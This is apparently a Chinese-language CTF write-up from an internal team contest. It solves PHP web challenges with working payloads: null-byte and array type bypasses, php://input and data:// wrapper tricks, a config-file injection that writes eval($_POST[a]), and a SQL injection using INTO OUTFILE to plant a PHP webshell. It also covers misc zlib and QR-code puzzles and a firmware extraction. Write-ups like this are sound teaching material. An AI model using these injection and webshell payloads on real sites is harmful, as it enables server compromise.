小组内部赛(04-16)WriteUp
0X01 WEB
1.土豪才能用的机器(50分)
提到了MAC,第一个想到的burp抓包,改UA,不行。那这里就肯定是关于什么windows和MAC OS的差异了。后来知道了.DS_Store后缀的文件是MAC才会产生的一类文件,http://115.159.197.62:7001/.DS_Store
下载下来该文件,打开就get到flag了。
这个真的是涨姿势了,第一次见。
2.必须是数字(150分)
打开后除了这个没别的,首先看一下源码,发现有东西。
vim,you love vim!肯定有关系。这里想到vim备份文件.swp
(和上次zctf的蛤一样), .index.php.swp
下下来源码看看。
提到了f149.php,访问看源码,考察代码审计。
<!--
if (isset ($_GET['flag'])) {
if (@ereg ("^[1-9]+$", $_GET['flag']) === FALSE)
echo 'only number is admitted';
else if (strpos ($_GET['flag'], 'flag') !== FALSE)
die('Flag: '.$flag);
else
echo 'getflag fail~';
}
-->
要求提交的数据只能是数字 还得要包含flag字符串,这里利用00截断来实现。提交115.159.197.62:8008/f149.php?flag=1%00flag
得到flag。不过当时用的flag[]也得到了flag。
3.输入密码(150分)
这个题本身不难,但是。。太套路。源码
<!DOCTYPE html>
<html>
<head>
check
</head>
<body>
please input the password
</body>
</html>
<!--
if (isset($_GET['a'])) {
if (strcmp($_GET['a'], $flag) == 0)
die('Flag: '.$flag);
else
print 'you are close';
}
-->
看到strcmp()函数应该明白该干什么了(会心一笑),利用php弱类型。
strcmp()函数在PHP官方手册中的描述是int strcmp ( string $str1 , string $str2 ),需要给strcmp()传递2个string类型的参数。如果str1小于str2,返回-1,相等返回0,否则返回1。strcmp函数比较字符串的本质是将两个变量转换为ascii,然后进行减法运算,然后根据运算结果来决定返回值。
$array=[1,2,3]; var_dump(strcmp($array,'123')); //null,在某种意义上null也就是相当于false。
套路在哪呢?post的不是a[],而是password[],谁让他说了输入密码(password)呢。
4.请努力的微笑(150分)
既然能看源码,那看看源码,如下。
<?php
error_reporting(0);
header("Content-type: text/html; charset=utf-8");
if (isset($_GET['view-source'])) {
show_source(__FILE__);
exit();
}
include('flag.php');
$smile = 1;
if (!isset ($_GET['^_^'])) $smile = 0;
if (preg_match ('/\./', $_GET['^_^'])) $smile = 0;
if (preg_match ('/%/', $_GET['^_^'])) $smile = 0;
if (preg_match ('/[0-9]/', $_GET['^_^'])) $smile = 0;
if (preg_match ('/http/', $_GET['^_^']) ) $smile = 0;
if (preg_match ('/https/', $_GET['^_^']) ) $smile = 0;
if (preg_match ('/ftp/', $_GET['^_^'])) $smile = 0;
if (preg_match ('/telnet/', $_GET['^_^'])) $smile = 0;
if (preg_match ('/_/', $_SERVER['QUERY_STRING'])) $smile = 0;
if ($smile) {
if (@file_exists ($_GET['^_^'])) $smile = 0;
}
if ($smile) {
$smile = @file_get_contents ($_GET['^_^']);
if ($smile === "(~^o^~)") die($flag);
}
?>
<!doctype html>
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Show me your smile :)</title>
<link rel="stylesheet" href="style.css">
</head>
<body>
<br><br><br><br><br><br><br>
<div class="loginform cf">
<form name="login" action="index.php" method="POST" accept-charset="utf-8">
<ul>
<li>
<label for="SMILE">请使用微笑过关<a href="?view-source">view</a></label>
<input type="text" name="T_T" placeholder="where is your smile" required>
</li>
<li><input type="submit" value="Show"> </li>
</ul>
</form>
</div>
<div style="text-align:center;clear:both">
</div>
</body>
</html>
看一下要满足的条件:
1.参数为^_^
2.提交的数据中不能有. % [0-9] http https ftp telnet
,
3.^_^中的_
不能出现,因为if (preg_match ('/_/', $_SERVER['QUERY_STRING'])) $smile = 0;
4.if (@file_exists ($_GET['^_^'])) $smile = 0;
,所以要满足$_GET['^_^']
不存在
5.$smile
不为0
6.$smile
的值是(^o^)
综上,3可以用url编码替代下划线,4和其他矛盾,6要读取文件,只能写入或包含。payload:?^%5F^=data://filter/text/plain,(%7e%5eo%5e%7e)
,参考php支持的协议.
file_get_contents() 把文件读入一个字符串。将在参数
offset
所指定的位置开始读取长度为maxlen
的内容。如果失败,file_get_contents() 将返回 FALSE。file_exists() 函数检查文件或目录是否存在。
如果指定的文件或目录存在则返回 true,否则返回 false。
$_SERVER[“QUERY_STRING”]
说明:查询(query)的字符串
5.泄露了点什么东西(150分)
源码泄露,index.zipx下载源码。
<?php
extract($_GET);
include('flag.php');
if (!empty($dpc))
{
$combination = trim(file_get_contents($filename));
if ($dpc === $combination)
{
echo "<p>Hello:" ." $combination!?</p>";
echo "<p>Congratulation!!! flag is:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>
变量覆盖,构造payload:?dpc=1&filename=php://input,post:1.
6.php regrex(200分)
正则表达式,源码~
regrex is good~~<!--
$str = highlight_file('2.php',true);
$key='KEY{********************************}';
$IsMatch= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]));
if( $IsMatch ){
die('key: '.$str);
}
-->
payload:?id=keykeykeykeykeykeykey:/a/aakeya:]
7.信息收录(150分)
function new_addslashes($string){
if(!is_array($string))
return addslashes($string);
foreach($string as $key => $val)
$string[$key] = new_addslashes($val);
return $string;
}
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
$data = isset($_POST['data']) ? $_POST['data'] : '';
$user_config = "<\?php \n";
foreach($data as $key => $value){
$key = strtoupper($key);
$user_config .= "define($key, '$value');\n";
}
@file_put_contents('user_config.php', $user_config);
data的传递是用数组的形式,过滤只过滤了val的值,并没有过滤key,利用这getshell,post:
data['name','1');/*]=*/eval($_POST[a]);//
这里,$user_config .= "define($key, '$value');\n";
这句话里,传进去的data把]注释了,然后代码就被改成了$user_config .= "define($key, '1');/*]=*/eval($_POST[a]);//);\n";
,这样一句话就写入了user_config页面,菜刀连接。
8.壁纸大全(200分)
壁纸可以下载,考虑到任意文件下载漏洞。查看下载链接得知/download.php?url=filename
可以下载文件。
- index.php
- display.php
- download.php
- config.inc.php
- api.php
- json
当时乱试不知道下什么。
注意一些关键的文件名。下下来后进行代码审计,突破口在api.php。
<?php
error_reporting(0);
include "json.php";
$config = include "config.inc.php";
if (isset($_GET['img_first']) and isset($_GET['img_num'])){
$img_first = $_GET['img_first'];
$img_num = $_GET['img_num'];
$conn = mysqli_connect($config['db_host'],$config['db_user'],$config
if (mysqli_connect_errno($conn)){
die("Can not connect mysql!".mysqli_connect_error());
}
$check = is_numeric($img_num) and is_numeric($img_first);
if (!$check){
$img_num = intval($img_num);
$img_first = intval($img_first);
}
$sql = "SELECT * FROM images LIMIT $img_first,$img_num";
$result = mysqli_query($conn,$sql);
$i = 0;
while($row=mysqli_fetch_array($result,MYSQLI_ASSOC)){
$rows[$i] = $row;
$i++;
}
$json = new Services_JSON();
echo $json->encode(array('result'=>$rows));
//echo json_encode(array('result'=>$rows),JSON_UNESCAPED_SLASHES);
}else {
die("Missing parameter img_first or img_num");
}
get了2个参数,img_first
和img_num
,$check =…………
对参数做了过滤,如果不为数字,转为数字。
这里涉及到运算符优先级的问题,and不如=优先级高,导致逻辑问题,只要满足img_num为数字就行。img_first就可以用它来嘿嘿嘿了。运算符优先级
一个例子说明and的优先级不同。
Watch out for the difference of priority between 'and vs &&' or '|| vs or':
<?php
$bool = true && false;
var_dump($bool); // false, that's expected
$bool = true and false;
var_dump($bool); // true, ouch!
?>
Because 'and/or' have lower priority than '=' but '||/&&' have higher.
api.php?img_num=1&img_first=0,1 UNION SELECT (select
0x3c3f706870206576616c28245f504f53545b2761275d293b3f3e into
outfile '//var//www//html//images//p0.php')
菜刀连接。
0X02 Misc
1.八十年代的歌(20分)
文件格式改为zip,打开后得到flag。
2.来夺旗啊(70分)
利用明文攻击,2个方法。
2篇资料
3.神秘的代码(100分)
一个图片隐写题。
给出了一串字符
789c9d940b0e80300843af04f1fe7733313196f6cd5fc874930e3ae8dc6afb673dac8e717acea7631475216abc13a3b12eafee6bc4f017cffbb44bd93b738fac5ee7cfe7ca1ae6f01adef7a41628cd32f934fa1a7666169d3943d247430caf8acf9517afbd7e8a59ad93a9abd63badb3b779e85c69a49d8ce7f57cab8954a2736436f3acb312d4ad44937ee8eeccbb9c78ba9515fe953af91fa11ee7c1fd48544734d73b292cb37cb21d0a2d1b33
根据提示IDAT,python进行zlib解压。
#! /usr/bin/env python
import zlib
import binascii
IDAT = "789c9d940b0e80300843af04f1fe7733313196f6cd5fc874930e3ae8dc6afb673dac8e717acea7631475216abc13a3b12eafee6bc4f017cffbb44bd93b738fac5ee7cfe7ca1ae6f01adef7a41628cd32f934fa1a7666169d3943d247430caf8acf9517afbd7e8a59ad93a9abd63badb3b779e85c69a49d8ce7f57cab8954a2736436f3acb312d4ad44937ee8eeccbb9c78ba9515fe953af91fa11ee7c1fd48544734d73b292cb37cb21d0a2d1b33".decode('hex')
#print IDAT
result = binascii.hexlify(zlib.decompress(IDAT))
print resul
输出的结果除了1,0还有3。
333033303330333033303330333033303330333033303330333033303330333033303330333033303330333033303330333033303330333033313331333133313331333133313330333133303330333033303331333033303331333033313331333133313331333133313330333033313330333033303330333033313330333133313330333033313331333033303331333033313330333033303330333033313330333033313330333133313331333033313330333033303331333033303331333133303331333033313330333133313331333033313330333033313330333133313331333033313330333033313330333033313330333133313330333033313330333133313331333033313330333033313330333133313331333033313330333133313331333133303330333033303330333033313330333133313331333033313330333033313330333033303330333033313330333133303330333033313330333033313330333033313330333033303330333033313330333033313331333133313331333133313330333133303331333033313330333133303331333033313331333133313331333133313330333033303330333033303330333033303330333033303330333033303331333133303331333033303330333033303330333033303330333033313331333133313330333133313330333033313330333033303331333133313331333133303331333133303330333133313330333033303330333133313331333133303330333033303331333133303331333033303331333033313330333033313331333133313330333033303330333033313331333133313331333133303331333033303331333033303330333133313330333133303330333033303330333033303331333033303330333033303331333033303330333033313330333133313330333033303330333133303331333133303330333033303331333133313331333033313330333133303330333133303331333133303331333033303331333033313331333033313330333033313331333033303330333033303331333133313330333033313330333133313331333133303330333133303331333133313330333033313331333133303330333033313330333033313330333133313330333133303330333133303331333133303331333033303330333033303331333033303330333033303331333133313331333133313331333133313331333033303330333033303331333033313330333033313330333033313330333133313330333133313331333133313331333133303331333133313331333133303330333033303330333033303330333033303330333033303330333033313330333033303331333033303331333033303330333133313330333133303330333033313331333133313331333133313330333033303330333133313330333033303331333033313330333133313331333033303330333033313330333033303330333033313330333133303330333033313330333133303331333033303330333133313331333133303330333033313330333133313331333033313330333033313331333033303331333133303331333133313331333133303330333033313330333033313330333133313331333033313330333133303330333033303331333033303331333033303330333033313331333033313330333033313330333133313331333033313330333133303331333133313330333033313331333133303331333133303330333133313330333033313330333033303330333033313330333133303330333133313330333033313331333033303331333033313331333133313330333033313331333133313331333133313330333133303330333033303330333033313331333133303330333133313330333033313330333033303330333033303330333033303330333033303330333033303330333033303330333033303330333033303330333033303330
ascii码30->0,31->1,33->3,所以全部转换成数字,转换后的数字两两成对,不是30就是31,在转换一次,就全部转换为1和0了。共729个数,是27的平方,应该是个正方形的图片,二维码吧。用python的PIL库可以完成画图。Windows要装PIL库,kali自带。
#!/usr/bin/env python
import Image
MAX = 27
pic = Image.new("RGB",(MAX, MAX))
str = "000000000000000000000000000011111110100001001011111110010000010110011001010000010010111010001001101010111010010111010010010110010111010010111010111100000010111010010000010100010010010000010011111110101010101011111110000000000000001101000000000011110110010001111101100110000111100001101001010011110000011111101001000110100000001000001000010110000101100001111010100101101001011010011000001110010111100101110011100010010110100101101000001000001111111111000001010010010110111111101111100000000000000010001001000110100011111110000110001010111000010000010100010101000111100010111010011001101111100010010111010100001001000011010010111010101110011101100110010000010100110011001011110011111110100000011100110010000000000000000000000000000"
i=0
for y in range (0,MAX):
for x in range (0,MAX):
if(str[i] == '1'):
pic.putpixel([x,y],(0, 0, 0))
else:
pic.putpixel([x,y],(255,255,255))
i = i+1
pic.show()
pic.save("flag.png")
得到flag。
0X03 Reverse
1.固件分析(150分)
下载一个.bin的文件,binwalk打开。binwalk是一个固件分析工具。
http://www.freebuf.com/sectool/15266.html
用binwalk提取文件,打开后有一个decode.py和encodeflag文件,明白了~~